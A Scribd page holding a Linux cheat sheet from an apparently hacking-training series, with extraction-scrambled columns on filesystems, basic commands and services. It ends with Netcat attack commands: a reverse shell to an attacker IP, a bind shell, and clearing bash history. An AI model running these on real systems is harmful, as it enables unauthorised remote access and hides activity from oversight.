0% found this document useful (0 votes)
83 views

Cheat Sheet - Linux

The Linux filesystem is organized with a root directory that contains several standard subdirectories for core files and programs, user home directories, libraries, logs, and more. The main standard subdirectories include /bin, /boot, /dev, /etc, /home, /lib, /mnt, /opt, /proc, /root, /sbin, /srv, /sys, /tmp, /usr, and /var. Common Linux filesystem types include Ext, Ext2, Ext3, Ext4, XFS, JFS, and Btrfs. Swap is a special partition for virtual memory, not a true filesystem.

Uploaded by

Event Horizon
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
83 views

Cheat Sheet - Linux

The Linux filesystem is organized with a root directory that contains several standard subdirectories for core files and programs, user home directories, libraries, logs, and more. The main standard subdirectories include /bin, /boot, /dev, /etc, /home, /lib, /mnt, /opt, /proc, /root, /sbin, /srv, /sys, /tmp, /usr, and /var. Common Linux filesystem types include Ext, Ext2, Ext3, Ext4, XFS, JFS, and Btrfs. Swap is a special partition for virtual memory, not a true filesystem.

Uploaded by

Event Horizon
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 5

Types of Linux Filesystem / The main tree (root) of the whole Linux

filesystem
Ext The very first filesystem, no longer used now due to the /bin Linux core commands like ls, mv resides
limitations in this directory Linux
Ext2 Revised version of Ext, allows 2 terabytes of data drives /boo Boot loader and boot files are located in
Ext3 Upgraded version of Ext2 with backward compatibility. Does not t this directory
Cheat Sheet
support file recovery or disk snapshots /dev Where all physical drives are mounted 30 Days Hacking Challenge
Ext4 Faster and more speed with large files support. like USBs DVDs Irfan Shakeel
Default file system that Linux suggests /etc This directory contains configurations for www.ehacking.net
JFS Old filesystem made by IBM. Failed because of corrupted files
all the installed packages
/hom Where every user will have a personal
XFS Created in 2001 by Silicon Graphics. Works slowly even with small /usr Where the utilities and files
files e folder to put his folders with his name
like /home/ehacking shared between users on Linux
Btrfs B–Tree File system made by Oracle. Replacement of Ext
/lib Where the libraries of the installed /va Contains system logs and other
packages located r variable data
Swap Not a real filesystem but a special option for formatting a drive
and creating a backup. /med In this directory all external devices /pr Kernel creates it in memory. It is
Size of data cannot be more than the volume of your RAM. ia reside like DVDs and USB sticks that are oc used to provide information
Linux File System Directories mounted about the system (originally
/mnt Where you mount other things Network about processes)
locations and some distros you may find
your mounted USB or DVD
/opt Optional packages are located here,
managed by the package manager
/root It is a Home folder for the root user
/sbin Like /bin directory, but binaries here are
for root user only
/srv Contains site-specific data which is
served by this system
/tmp It contains all the temporary files
Basic Linux Commands Reboot To reboot the system
Hostname To know your name in your host
Pwd To know in which directory, you are in or network
shutdown halt, power-off or reboot the
Ls Grabs all the files and folders
machine
Cd To go to a directory or folder
Passwd To change root password
Mkdir Creates a directory
Rmdir Removes a directory (It only deletes empty Finding Files in Kali Linux
directory)
Touch Creates a file in a directory Updatedb To create a local database of all the
Rm Deletes files in a directory files in the filesystem.
–help Shows all the information about the locate [file or folder Locate and find the complete path of
command name] the given file or folder
Cp Copy files to a directory.
locate -i [filename] To ignore the upper and lower case of
Mv moves a file.
the file
Can also be used to rename a file
Locate locates a file just like search in windows which [filename] Used to search the executable file
Echo Moves some data, usually text into a file associated with the given command by
searching it in the $path environment
Cat Displays the content of the file
variable
Nano Default text editor in linux
Df To see the available disk space
zip and unzip Use to zip or unzip files which -a [argument1 Prints all matching pathnames of each
apt-get intall package_name To install the package from apt repository argument2] argument
find [where to start Recursively search any given path for
Chmod Changes the permission and makes the file
searching from] various files
executable
[expression determines
Chown changes the group ownership of the file
what to find] [-options]
Ping To check your connection to a server [what to find]
Clear Clears the command prompt
Services in Kali Shell & Bash Configuration
service –status-all To see all the preinstalled services
echo $shell To see the dafult shell in linux
cat /etc/shells To see all the available shells that
service [service name] status To check the status of service can be used
service [service name] start To start the service shell name To use any shell just type the
name in a terminal
service [service name] stop To stop the service Chsh Changes login shell
service [service name] restart To restart the service ls -alps | grep .bash To grab all the bash files
netstat -antp|grep service To verify whether the service is running cat /dev/null > To delete the history from
and listening on which port ~/.bash_history .bash_history

Installing & Removing the Packages Grep & Piping Arguments


apt-get install [package name] To install any package -v Shows all the lines that do not match the
searched string
apt-get remove [package name] To remove any package

-c Displays only the count of matching lines


apt-get update Will update the available
packages and versions -n Shows the matching line and its number

apt-get upgrade Will install new version of the -i Match both (upper and lower) case
packages you are having -l Shows just the name of the file with the string
Commands Managing Process
Top Lists the processes that are currently running in
your system
grep root /etc/passwd Finds the string root from passwd file Htop Provides an interactive process viewer
Free Displays the amount of free and used memory
cat /etc/passwd | grep root Redirecting the output of cat /etc/passwd of the system.
and passing it to grep Ps Shows the snapshot of the current process
ps aux To see every process of the system
Pstree To display a tree diagram of processes
File & Directory Ownership Who Display a list of all the users currently logged
into your system
ls -alh To see the permission of all the files and kill [process_id] To terminate a process forcefully
directories killall [process_name] Terminate all instances of a process with the
given name

ls -l [filename] To see the permission of a particular file


Netcat
Banner grabbing
chown root [filename] To change the owner of file to root
On Attacking Machine
groups username To see the groups of user
nc [target_ip] port Grabs the banner of
service information
chgrp root [filename] To change the group owner of a file to root
running on the given
port
Connecting/Listening to tcp/udp port Reverse/Bind Shell

On Target Machine
nc -nlvp 80 Listening on port 80 and
ready to take connection
requests
On Attacking Machine
nc -nv [target_ip] 80 Checks if tcp port 80 is
open on the target
machine establish the
connection
Transferring files with netcat Reverse shell
On Attacking Machine
Listener
nc -nlvp 4444 Setup a netcat listener
nc -nlvp 4444 > incoming.txt Set up a netcat on our attacking
listener on port 4444 machine which is
and redirect any listening on port 4444
incoming input into a On Target Machine
file called nc [Attacker_IP] 4444 -e /bin/sh Initiate a reverse shell
incoming.exe Bind Shell
Sender On Target Machine
nc [Listener_IP] 4444 < outgoing.txt Will push
nc -lvp 4444 -e /bin/sh The target binds a bash
outgoing.txt, which
shell to port 4444 using
has the content that a netcat listener
should be transfer nc [target_IP] 4444 The attacker connects to
into incoming.txt on this port 4444 and gain
receiving machine the root shell

You might also like